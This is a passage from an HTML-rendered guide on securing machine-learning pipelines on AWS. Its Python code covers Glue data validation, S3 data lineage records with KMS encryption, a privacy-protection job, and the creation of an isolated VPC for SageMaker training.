                    if abs(actual_mean - expected_mean) &gt; expected_mean * tolerance:
                        self.validation_results[</span><span class="sh">'</span><span class="s">warnings</span><span class="sh">'</span><span class="s">].append({
                            </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">statistical_validation</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column {column} mean {actual_mean:.2f} differs from expected {expected_mean:.2f}</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">
                        })
                
                # Store quality metrics
                self.validation_results[</span><span class="sh">'</span><span class="s">quality_metrics</span><span class="sh">'</span><span class="s">][f</span><span class="sh">'</span><span class="s">{column}_statistics</span><span class="sh">'</span><span class="s">] = stats_dict

# Main execution
try:
    # Load validation rules
    validation_rules = json.loads(args[</span><span class="sh">'</span><span class="s">validation_rules</span><span class="sh">'</span><span class="s">])
    
    # Read data
    datasource = glueContext.create_dynamic_frame.from_options(
        </span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="s">,
        {</span><span class="sh">'</span><span class="s">paths</span><span class="sh">'</span><span class="s">: [args[</span><span class="sh">'</span><span class="s">data_source</span><span class="sh">'</span><span class="s">]]},
        format=</span><span class="sh">'</span><span class="s">json</span><span class="sh">'</span><span class="s">
    )
    
    df = datasource.toDF()
    
    # Initialize validator
    validator = MLDataValidator(spark)
    
    # Run validation
    results = validator.validate_data_quality(df, validation_rules)
    
    # Save validation results
    results_df = spark.createDataFrame([results])
    results_output = glueContext.create_dynamic_frame.from_dataframe(results_df, glueContext, </span><span class="sh">"</span><span class="s">validation_results</span><span class="sh">"</span><span class="s">)
    
    glueContext.write_dynamic_frame.from_options(
        frame=results_output,
        connection_type=</span><span class="sh">"</span><span class="s">s3</span><span class="sh">"</span><span class="s">,
        connection_options={</span><span class="sh">"</span><span class="s">path</span><span class="sh">"</span><span class="s">: f</span><span class="sh">"</span><span class="s">{args[</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="s">]}/validation_results/</span><span class="sh">"</span><span class="s">},
        format=</span><span class="sh">"</span><span class="s">json</span><span class="sh">"</span><span class="s">
    )
    
    # If validation passed, write cleaned data
    if results[</span><span class="sh">'</span><span class="s">validation_passed</span><span class="sh">'</span><span class="s">]:
        cleaned_output = glueContext.create_dynamic_frame.from_dataframe(df, glueContext, </span><span class="sh">"</span><span class="s">cleaned_data</span><span class="sh">"</span><span class="s">)
        glueContext.write_dynamic_frame.from_options(
            frame=cleaned_output,
            connection_type=</span><span class="sh">"</span><span class="s">s3</span><span class="sh">"</span><span class="s">,
            connection_options={</span><span class="sh">"</span><span class="s">path</span><span class="sh">"</span><span class="s">: f</span><span class="sh">"</span><span class="s">{args[</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="s">]}/validated_data/</span><span class="sh">"</span><span class="s">},
            format=</span><span class="sh">"</span><span class="s">parquet</span><span class="sh">"</span><span class="s">
        )
    
    print(f</span><span class="sh">"</span><span class="s">Validation completed. Results: {json.dumps(results, indent=2)}</span><span class="sh">"</span><span class="s">)

except Exception as e:
    print(f</span><span class="sh">"</span><span class="s">Validation job failed: {e}</span><span class="sh">"</span><span class="s">)
    raise

job.commit()
</span><span class="sh">'''</span>
        
        <span class="k">return</span> <span class="n">validation_script</span>
    
    <span class="k">def</span> <span class="nf">implement_data_lineage_tracking</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                        <span class="n">dataset_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                                        <span class="n">source_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                                        <span class="n">transformation_details</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement comprehensive data lineage tracking</span><span class="sh">"""</span>
        
        <span class="n">lineage_record</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">dataset_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">dataset_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">source_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">source_location</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">transformation_details</span><span class="sh">'</span><span class="p">:</span> <span class="n">transformation_details</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">data_hash</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_calculate_data_hash</span><span class="p">(</span><span class="n">source_location</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">access_log</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">quality_metrics</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">security_classification</span><span class="sh">'</span><span class="p">:</span> <span class="n">transformation_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">classification</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">internal</span><span class="sh">'</span><span class="p">)</span>
        <span class="p">}</span>
        
        <span class="c1"># Store lineage record in DynamoDB or S3
</span>        <span class="n">lineage_table</span> <span class="o">=</span> <span class="sh">'</span><span class="s">ml-data-lineage</span><span class="sh">'</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># In a real implementation, you would store this in DynamoDB
</span>            <span class="c1"># For this example, we'll store in S3
</span>            <span class="n">lineage_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">lineage/</span><span class="si">{</span><span class="n">dataset_id</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y/%m/%d</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">dataset_id</span><span class="si">}</span><span class="s">.json</span><span class="sh">"</span>
            
            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_object</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="sh">'</span><span class="s">ml-security-metadata</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Key</span><span class="o">=</span><span class="n">lineage_key</span><span class="p">,</span>
                <span class="n">Body</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">lineage_record</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
                <span class="n">ServerSideEncryption</span><span class="o">=</span><span class="sh">'</span><span class="s">aws:kms</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">SSEKMSKeyId</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012</span><span class="sh">'</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">lineage_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">dataset_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">lineage_location</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">s3://ml-security-metadata/</span><span class="si">{</span><span class="n">lineage_key</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">recorded</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error recording data lineage: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">_calculate_data_hash</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">data_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate hash of data for integrity verification</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># For S3 objects, use ETag as a quick integrity check
</span>            <span class="c1"># In production, implement more robust hash calculation
</span>            <span class="n">bucket</span><span class="p">,</span> <span class="n">key</span> <span class="o">=</span> <span class="n">data_location</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">).</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
            
            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">head_object</span><span class="p">(</span><span class="n">Bucket</span><span class="o">=</span><span class="n">bucket</span><span class="p">,</span> <span class="n">Key</span><span class="o">=</span><span class="n">key</span><span class="p">)</span>
            <span class="n">etag</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">ETag</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">).</span><span class="nf">strip</span><span class="p">(</span><span class="sh">'"'</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="n">etag</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error calculating data hash: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">data_location</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()</span>
    
    <span class="k">def</span> <span class="nf">implement_privacy_protection</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                     <span class="n">data_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                                     <span class="n">privacy_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span>
                                     <span class="n">output_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement privacy protection for sensitive data</span><span class="sh">"""</span>
        
        <span class="n">privacy_job_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">privacy-protection-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d-%H%M%S</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="c1"># Create Glue job for privacy protection
</span>        <span class="n">job_definition</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="n">privacy_job_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Role</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/GluePrivacyProtectionRole</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Command</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">glueetl</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ScriptLocation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">s3://ml-security-scripts/privacy_protection.py</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">PythonVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">3</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">DefaultArguments</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">--job-language</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">python</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--data_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_location</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--privacy_config</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">privacy_config</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">--output_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">output_location</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--enable-metrics</span><span class="sh">'</span><span class="p">:</span> <span class="sh">''</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--enable-continuous-cloudwatch-log</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">MaxRetries</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Timeout</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2880</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">MaxCapacity</span><span class="sh">'</span><span class="p">:</span> <span class="mf">10.0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">SecurityConfiguration</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml-security-configuration</span><span class="sh">'</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">glue</span><span class="p">.</span><span class="nf">create_job</span><span class="p">(</span><span class="o">**</span><span class="n">job_definition</span><span class="p">)</span>
            
            <span class="n">job_run_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">glue</span><span class="p">.</span><span class="nf">start_job_run</span><span class="p">(</span>
                <span class="n">JobName</span><span class="o">=</span><span class="n">privacy_job_name</span><span class="p">,</span>
                <span class="n">Arguments</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">--protection_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">job_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">privacy_job_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">job_run_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_run_response</span><span class="p">[</span><span class="sh">'</span><span class="s">JobRunId</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">privacy_techniques</span><span class="sh">'</span><span class="p">:</span> <span class="n">privacy_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">techniques</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]),</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">started</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error creating privacy protection job: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="secure-model-training-and-development">Secure Model Training and Development</h2>

<h3 id="training-environment-security">Training Environment Security</h3>

<p>Securing the model training environment is crucial for protecting intellectual property and preventing data exfiltration.</p>

<h4 id="secure-sagemaker-training-implementation">Secure SageMaker Training Implementation</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span>

<span class="k">class</span> <span class="nc">SecureModelTraining</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Secure model training implementation for AWS SageMaker
    Provides comprehensive security controls for ML training workflows
    </span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">region_name</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="sh">'</span><span class="s">us-east-1</span><span class="sh">'</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sagemaker</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sagemaker</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">kms</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">kms</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">iam</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">create_secure_training_environment</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                           <span class="n">training_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create isolated and secure training environment</span><span class="sh">"""</span>
        
        <span class="n">environment_name</span> <span class="o">=</span> <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">environment_name</span><span class="sh">'</span><span class="p">,</span> 
                                               <span class="sa">f</span><span class="sh">"</span><span class="s">secure-training-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Create VPC for training isolation
</span>        <span class="n">vpc_config</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_create_training_vpc</span><span class="p">(</span><span class="n">environment_name</span><span class="p">)</span>
        
        <span class="c1"># Create security groups
</span>        <span class="n">security_groups</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_create_training_security_groups</span><span class="p">(</span>
            <span class="n">vpc_config</span><span class="p">[</span><span class="sh">'</span><span class="s">vpc_id</span><span class="sh">'</span><span class="p">],</span> 
            <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">allowed_ports</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        <span class="p">)</span>
        
        <span class="c1"># Create IAM roles with minimal permissions
</span>        <span class="n">training_role</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_create_training_role</span><span class="p">(</span>
            <span class="n">environment_name</span><span class="p">,</span>
            <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">data_sources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]),</span>
            <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="p">)</span>
        
        <span class="c1"># Create KMS key for training encryption
</span>        <span class="n">kms_key</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_create_training_kms_key</span><span class="p">(</span><span class="n">environment_name</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">environment_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vpc_config</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_config</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">security_groups</span><span class="sh">'</span><span class="p">:</span> <span class="n">security_groups</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">training_role_arn</span><span class="sh">'</span><span class="p">:</span> <span class="n">training_role</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kms_key_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">kms_key</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">created_at</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">_create_training_vpc</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">environment_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create isolated VPC for training environment</span><span class="sh">"""</span>
        
        <span class="c1"># Create VPC
</span>        <span class="n">vpc_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_vpc</span><span class="p">(</span>
            <span class="n">CidrBlock</span><span class="o">=</span><span class="sh">'</span><span class="s">10.0.0.0/16</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">vpc</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-vpc</span><span class="sh">'</span><span class="p">},</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml-training</span><span class="sh">'</span><span class="p">},</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecurityLevel</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">vpc_id</span> <span class="o">=</span> <span class="n">vpc_response</span><span class="p">[</span><span class="sh">'</span><span class="s">Vpc</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">VpcId</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="c1"># Create private subnets
</span>        <span class="n">private_subnets</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="n">availability_zones</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">describe_availability_zones</span><span class="p">()[</span><span class="sh">'</span><span class="s">AvailabilityZones</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">az</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">availability_zones</span><span class="p">[:</span><span class="mi">2</span><span class="p">]):</span>  <span class="c1"># Use first 2 AZs
</span>            <span class="n">subnet_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_subnet</span><span class="p">(</span>
                <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                <span class="n">CidrBlock</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">10.0.</span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s">.0/24</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">AvailabilityZone</span><span class="o">=</span><span class="n">az</span><span class="p">[</span><span class="sh">'</span><span class="s">ZoneName</span><span class="sh">'</span><span class="p">],</span>
                <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
